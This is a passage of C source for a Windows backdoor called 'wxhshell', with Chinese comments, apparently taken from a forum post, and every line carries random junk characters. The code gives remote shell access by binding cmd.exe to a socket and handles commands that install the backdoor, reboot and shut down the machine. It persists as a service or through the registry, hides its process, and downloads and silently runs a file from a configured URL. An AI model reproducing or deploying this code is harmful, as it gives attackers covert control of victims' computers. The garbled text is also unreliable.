  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kgcg:r:  
  } fE >FT9c  
  else { D .E>Y  
{"s8X(#_sC  
    switch(cmd[0]) { 1cPi>?R:  
  Z|u_DaSrr|  
  // 帮助 |e!Sm{#!  
  case '?': { r(RJ&\ !  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gxF3gM  
    break; 'n\ZmG{  
  } l ^{]pD  
  // 安装 u VB&D E  
  case 'i': { |b|p0Z%7{  
    if(Install()) Q-AN~k8+)[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7kO 1d{u6b  
    else K-K+%U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %k"-rmW  
    break; 'Z';$N ]  
    } W /IyF){  
  // 卸载 8<xJmcTEwO  
  case 'r': { 3+IS7ATn  
    if(Uninstall()) c#_%|gg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $OmtN"  
    else p[cC%3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <~3@+EEM  
    break; Te;`-E L  
    } p!=/a)4X  
  // 显示 wxhshell 所在路径 5ES$qYN  
  case 'p': { N52N ^X>  
    char svExeFile[MAX_PATH]; avdi9!J2  
    strcpy(svExeFile,"\n\r"); rLp0VKPe  
      strcat(svExeFile,ExeFile); *M&~R(TMn  
        send(wsh,svExeFile,strlen(svExeFile),0); XBBsdldZ  
    break; } pA0mW9  
    } 778a)ZOzb  
  // 重启 |3s-BKbN4  
  case 'b': { GZ9XG">  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8L0#<"'0  
    if(Boot(REBOOT)) |= ~9y"F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5'@}8W3b  
    else { yVSJn>l!  
    closesocket(wsh); M^H357r%  
    ExitThread(0); Xod#$'M>  
    } _bW#* Y5  
    break; m%akx@{WL  
    } Bp9 u6R  
  // 关机 a93Aj  
  case 'd': { (g5T2(_6L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6ZX{K1_q  
    if(Boot(SHUTDOWN)) d^4!=^HN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8g$pfHt|e  
    else { :0r@o:H  
    closesocket(wsh); gmt`_Dpm$  
    ExitThread(0); Tk)y*y  
    } pX"f "  
    break; .^uNzN~  
    } R9k Z#  
  // 获取shell l{6fR(d ?  
  case 's': { iielAj*b  
    CmdShell(wsh); *r=6bpi  
    closesocket(wsh); <.#i3!  
    ExitThread(0); fi`*r\  
    break; C4ge_u#  
  } ``U>9S"p)  
  // 退出 MK,#"Ty}zK  
  case 'x': { ONg_3vD{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GkVV%0;&J1  
    CloseIt(wsh); o[aRG7C  
    break; fE,\1LK4  
    } c.r]w  
  // 离开 z" 4$mh  
  case 'q': { [WuN?H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -:Yx1Y3 [  
    closesocket(wsh); y3 kXfSe  
    WSACleanup(); 0rooL<~fa  
    exit(1); _>0 I9.[5  
    break; KftZ ^mk+p  
        } uK1DC i  
  } .*i.Z   
  } l.El3+  
(6!W8x7  
  // 提示信息 !np-Jmi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L~=h?C<  
} c#Y/?F2p  
  } PIl:z?q({  
g=Rl4F]  
  return; ]9F$/M#  
} xbsp[0I,  
yO.q{|kX  
// shell模块句柄 6;Wns'  
int CmdShell(SOCKET sock)  ~p<w>C9  
{ =wtu  
STARTUPINFO si; 3P N<J  
ZeroMemory(&si,sizeof(si)); %xPJJ $P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7\HjQ7__  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :;HJ3V;  
PROCESS_INFORMATION ProcessInfo; t,Ss3  
char cmdline[]="cmd"; `B-jwVrN(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oP!oU2eqK  
  return 0; 16Cd0[h?  
} c<fl6o)  
\AQ*T`Dq  
// 自身启动模式 B _k+Oa2!  
int StartFromService(void) ,=jwQG4wq  
{ bdbTK8-  
typedef struct t}w<xe  
{ Qv~lH&jG  
  DWORD ExitStatus; e#BxlC  
  DWORD PebBaseAddress; EIug)S~  
  DWORD AffinityMask; Xw)W6H|  
  DWORD BasePriority; C;>!SRCp  
  ULONG UniqueProcessId; Z4KYVHD,  
  ULONG InheritedFromUniqueProcessId; =^3 Z L  
}   PROCESS_BASIC_INFORMATION; T uG%oV}   
c'O"</  
PROCNTQSIP NtQueryInformationProcess; >{R+j4%  
*sz:c3{_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; | $  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *5m4 j=-  
Z}$wvd  
  HANDLE             hProcess; ~T">)Y~+xI  
  PROCESS_BASIC_INFORMATION pbi; (J} tCqP  
 OXDEU.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /3#)  
  if(NULL == hInst ) return 0; K-<<s  
#:[^T,YD0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q|h#J}\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x`n7D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +@G#Z3;l!  
(}*1,N!#  
  if (!NtQueryInformationProcess) return 0; M$,4B  
AO[/-Uij  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =/kwUjC?  
  if(!hProcess) return 0; S3 Dmc\f  
Z@(m.&ZRx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ((Uw[8#2 `  
7fE U5@  
  CloseHandle(hProcess); ;Vv.$mI  
y8%QS*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tK7v&[cI  
if(hProcess==NULL) return 0; wjy<{I  
]Ub"NLYV  
HMODULE hMod; grVPu! B;  
char procName[255]; A9Kt^HR  
unsigned long cbNeeded; :yxP3e%rp  
b,hRk1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xlIVLv6dO  
dj-/%MU  
  CloseHandle(hProcess); *jCHv  
&a8%j+j  
if(strstr(procName,"services")) return 1; // 以服务启动 zt!)7HBo  
t XfXuHa  
  return 0; // 注册表启动 JIatRc?g  
} !(A<  
gk hmQd  
// 主模块 FeL!%z  
int StartWxhshell(LPSTR lpCmdLine) ?uh%WN6nU]  
{ =[do([A  
  SOCKET wsl; aE(DNeG-H  
BOOL val=TRUE; <5O:jd  
  int port=0; ;.+C  
  struct sockaddr_in door; ,Jrm85 oG  
C[R|@9NI  
  if(wscfg.ws_autoins) Install(); *)bh6b=7  
0g'MF  S  
port=atoi(lpCmdLine); 6qR5A+|;  
I+eKuWB  
if(port<=0) port=wscfg.ws_port; pN=>q <]L  
bt=z6*C>A  
  WSADATA data; yRy^'E~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Uc<BLu;  
\ v2-}jU(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^^z_[Ih  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `|p8zV  
  door.sin_family = AF_INET; j6GR-WQ]t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p}]K0F!  
  door.sin_port = htons(port); Ve\.7s  
sq_ yu(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eNDc220b  
closesocket(wsl); "N3!!3  
return 1; pnpf/T{xpM  
} R+# g_"1@p  
L'HO"EZFj  
  if(listen(wsl,2) == INVALID_SOCKET) { h9Tst)iRi  
closesocket(wsl); e'X"uH Xt.  
return 1; XyYP!<].C  
} K!a7Hg  
  Wxhshell(wsl); {W'{A  
  WSACleanup(); NCp]!=uM;  
q|_Cj]{  
return 0; o0kKf+[  
+2#pP  
} &ox5eX(  
. efbORp  
// 以NT服务方式启动 a(_3271  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) th|'t}bWV  
{ 8vx#QU8E/  
DWORD   status = 0; xf3;:soC  
  DWORD   specificError = 0xfffffff; jwp?eL!7  
QE6L_\l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J9&#);(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; awgS5We|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _iH:>2p5R  
  serviceStatus.dwWin32ExitCode     = 0; lm8<0*;,  
  serviceStatus.dwServiceSpecificExitCode = 0; ({<qs}H"  
  serviceStatus.dwCheckPoint       = 0; | MXRNA~  
  serviceStatus.dwWaitHint       = 0; _^h?JTU^  
wV q4DE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y z],["*Q  
  if (hServiceStatusHandle==0) return; !JQ'~#jKN  
chu r(@Af  
status = GetLastError(); R:y u  
  if (status!=NO_ERROR) X\|h:ce  
{ .-:@+=(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _#yd0E  
    serviceStatus.dwCheckPoint       = 0; Of;$ VK'  
    serviceStatus.dwWaitHint       = 0; a?X #G/)  
    serviceStatus.dwWin32ExitCode     = status; :0% $u>;O:  
    serviceStatus.dwServiceSpecificExitCode = specificError; )U+&XjK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :+<GJj_d+  
    return; A i~d  
  } e@DVf  
j34lPo `  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7 V=%&+  
  serviceStatus.dwCheckPoint       = 0; ,#.9^J  
  serviceStatus.dwWaitHint       = 0; ^o(C\\>{&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8Yw V"+Fu/  
} LIh71Vg/cc  
Q[ .d  
// 处理NT服务事件,比如:启动、停止 )2?A|f8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vPsf{[Kr  
{ "b0!h6$!H  
switch(fdwControl) g7r0U6Y  
{ b`^mpB*6R  
case SERVICE_CONTROL_STOP: |DUOyQ  
  serviceStatus.dwWin32ExitCode = 0; Es&'c1$^s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $yZ(ws  
  serviceStatus.dwCheckPoint   = 0; Q oWjC  
  serviceStatus.dwWaitHint     = 0; KV|ywcGhT  
  { d[&Ah~,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kOV6O?h  
  } ;'oi7b  
  return; 84c[Z   
case SERVICE_CONTROL_PAUSE: oN[# C>#(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y*j8OA.S  
  break; 78O5$?b;#  
case SERVICE_CONTROL_CONTINUE: ;f[@zo><r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H8$";T(I  
  break; |"Fm<  
case SERVICE_CONTROL_INTERROGATE: QD^"cPC)mM  
  break; t_iZ\_8  
}; ~p$ncIr2Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W4S]2P>T  
} 9|2LuHQu+  
~c'R7E&Bfa  
// 标准应用程序主函数 eQsoZQA1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ixJwv\6Y  
{ m@y_Wt  
4(p,@e31  
// 获取操作系统版本 :snn-e0l  
OsIsNt=GetOsVer(); }>m3V2>[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Vp$#Rb  
D}K/5iU]a  
  // 从命令行安装 lPn&,\9@~  
  if(strpbrk(lpCmdLine,"iI")) Install(); _R;+}1G/  
^j g{MTa  
  // 下载执行文件 dMoN19F  
if(wscfg.ws_downexe) { *Bx' g| u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o88Dz}a  
  WinExec(wscfg.ws_filenam,SW_HIDE); YL@d+ -\  
} \?NT,t=3J  
?]2OT5@&s  
if(!OsIsNt) { D;OR?NdgvW  
// 如果时win9x,隐藏进程并且设置为注册表启动 l&m'?. g f  
HideProc(); "dBCS  
StartWxhshell(lpCmdLine); 4W+%`x_U]  
} k?'PCV  
else bn8?-  
  if(StartFromService()) {#%;HqP  
  // 以服务方式启动 et :v4^*f  
  StartServiceCtrlDispatcher(DispatchTable); Gq^#.o]  
else ai~JY[  
  // 普通方式启动 !GBGC|avE  
  StartWxhshell(lpCmdLine); b6gD*w <  
p> 4bj>Ql  
return 0; n`g:dz  
}
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只看该作者 1 发表于: 2006-10-10
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